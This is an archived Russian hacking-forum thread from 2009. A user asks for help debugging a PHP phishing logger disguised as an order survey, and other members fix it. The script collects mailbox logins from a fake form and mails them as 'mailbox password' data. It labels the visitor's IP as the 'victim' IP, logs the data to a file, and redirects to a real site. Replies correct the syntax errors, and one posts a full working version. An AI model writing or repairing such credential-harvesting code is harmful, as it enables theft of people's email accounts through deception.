ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

прошу помочь разобраться с кодом
  #1  
Старый 22.03.2009, 07:45
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию прошу помочь разобраться с кодом

Прошу помочь с кодом опросника. Вроде все правильно, но какая то ошибка проскочила. вот сам код лога php

Код:
<?PHP
$Login = $_POST['login']; //Логин
$radio = $_POST['radio']; //  частота пользования
$e_zakaz = $_POST['e_zakaz']; // Заказ
$3_pole = $_POST['3_pole']; // данные клиента
$otkuda = $_POST['otkuda']; // откуда узнали о сайте
$Other = $_POST['Other]; // другая информация
$ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время

$text = "[$Data] IP:$ip Мыло:$Login@Domain частота пользования:$radio; заказ$e_zakaz; данные клиента$3_pole; откуда узнали о сайте:$otkuda; другая информация:$Other;
$to = "mail@mail.ru"; // кому присылаем данные ( E-mail адресс )
$sub = " Пароль от ящика: $Login@Domain"; // тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog = fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; // 
?>

а тут код формы опросника.




Код:
  <form name="Zakaz_form" method="post" action="log.php">   <input type="text" name="e_zakaz" id="e_zakaz"> @
	    <select name="Domain" size="1" id="Serv" tabindex="1">
	      <option>mail.ru</option>
	      <option>inbox.ru</option>
	      <option>list.ru</option>
	      <option>bk.ru</option>
	      <option>yandex.ru</option>
	      <option>rambler.ru</option>
	      </select>
	    </p>
	    <p> Частота пользования:</p>
	    <p class="стиль6">
	      <label>
	      <input type="radio" name="radio" id="evryday" value="evryday">
	      <span class="стиль7">Ежедневно</span></label>
	      <label>
	      <input type="radio" name="radio" id="2-3 times" value="2-3 times">
	      <span class="стиль7">2-3 раза в неделю</span></label>
	      <label>
	      <input type="radio" name="radio" id="redko" value="redko">
	      <span class="стиль7">менее 1 раза в неделю</span></label>
	      	    </p>
<img src="http://bin-cgi.ru/img/s.gif" border="0">
	    Ваши контактные данные (e-mail или ICQ)
	    :
	      <input name="3_pole" type="text" id="3_pole" size="50">
	  
	    <p>Выбирите способ оплаты:</p>
	    <p>	      <select name="oplata" id="oplata" tabindex="1">
	        <option>WebMoney WMZ</option>
	        <option>WebMoney WMR</option>
	        </select>
	      </p>
	    <p>Откуда вы узнали о нашем сайте?	      </p><p>   <input type="text" name="otkuda" id="otkuda">
	      </p>
	      <p> Дополнительные сведенья:       </p>
	      <textarea name="Other" id="Other" cols="45" rows="5"></textarea>
	  
	    <div align="center">
	       <input name="Zakazat" type="submit" id="Zakazat" onClick="log.php" onDblClick="log.php" onKeyPress="log.php" onKeyDown="log.php" onKeyUp="log.php" value="Заказать">          
	         </div> </form>

Прошу помочь исправить код, если вас это не затруднит.

С уважением

Последний раз редактировалось satana-fu; 22.03.2009 в 07:51..
 

  #2  
Старый 22.03.2009, 13:48
presidentua
Постоянный
Регистрация: 04.11.2007
Сообщений: 331
Провел на форуме:
1724067

Репутация: 806
Отправить сообщение для presidentua с помощью ICQ
По умолчанию

Напиши какая ошибка происходит. Что показывает.
 

  #3  
Старый 22.03.2009, 14:09
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию

выдает следующую ошибку при исполнении файла log.php


Код:
Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/site/domains/site.ru/public_html/log.php on line 5
 

  #4  
Старый 22.03.2009, 14:18
-=Static=-
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
Провел на форуме:
347573

Репутация: 185
По умолчанию

PHP код:
$3_pole $_POST['3_pole']; // данные клиента 
Имя переменной НЕ может начинаться с ЦИФРЫ!!!
Читай учебники
 

  #5  
Старый 22.03.2009, 14:19
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Цитата:
$3_pole = $_POST['3_pole']; // данные клиента
помоему переменную нельзя начинать с цыфры.
 

  #6  
Старый 22.03.2009, 14:20
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

PHP код:
$3_pole $_POST['3_pole']; // данные клиента 
Имя переменной не может начинаться с цифры. Обзови её например $pole_3.

P.S. вот вы быстрые
 

  #7  
Старый 22.03.2009, 14:43
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

PHP код:
<?PHP
$Login 
$_POST['login']; //Логин
$radio $_POST['radio']; //  частота пользования
$e_zakaz $_POST['e_zakaz']; // Заказ
$three_pole $_POST['three_pole']; // данные клиента
$otkuda $_POST['otkuda']; // откуда узнали о сайте
$Other $_POST['Other']; //!!!!!!!!!!!/// другая информация
$ip $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data date("d-m-y H:i:s"time()); // Дата и время

$text '['.$Data'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
$to "mail@mail.ru"// кому присылаем данные ( E-mail адресс )
$sub " Пароль от ящика: $Login@Domain"// тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"// 
?>
 

  #8  
Старый 22.03.2009, 15:40
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию

ух ты, какие вы быстрые)))))))) впервые за два года на античате попросил помощь, и сразу же получил))))))))), Спасибо большое, расцеловать бы вас, да не дотянусь... Честно, спасибо большое, щас попробую исправить
 

  #9  
Старый 22.03.2009, 15:51
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию

eLWAux использовал твою модерницазию с three_pole, и теперь выдал следующую ошибку

Код:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/site/domains/site.ru/public_html/log.php on line 11
 

  #10  
Старый 22.03.2009, 15:55
Vid0k
Постоянный
Регистрация: 24.12.2007
Сообщений: 574
Провел на форуме:
3186852

Репутация: 316


Отправить сообщение для Vid0k с помощью ICQ
По умолчанию

PHP код:
$text '['.$Data.'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other
точку пропустил
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Прошу помочь в кодинге Flenov С/С++, C#, Delphi, .NET, Asm 2 19.03.2009 10:24
прошу помочь со сплойтом под Webspell Aerot1smo PHP, PERL, MySQL, JavaScript 12 14.12.2006 23:26
Прошу помочь мне с сайтом Mertvii-Listopad PHP, PERL, MySQL, JavaScript 38 15.04.2006 01:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ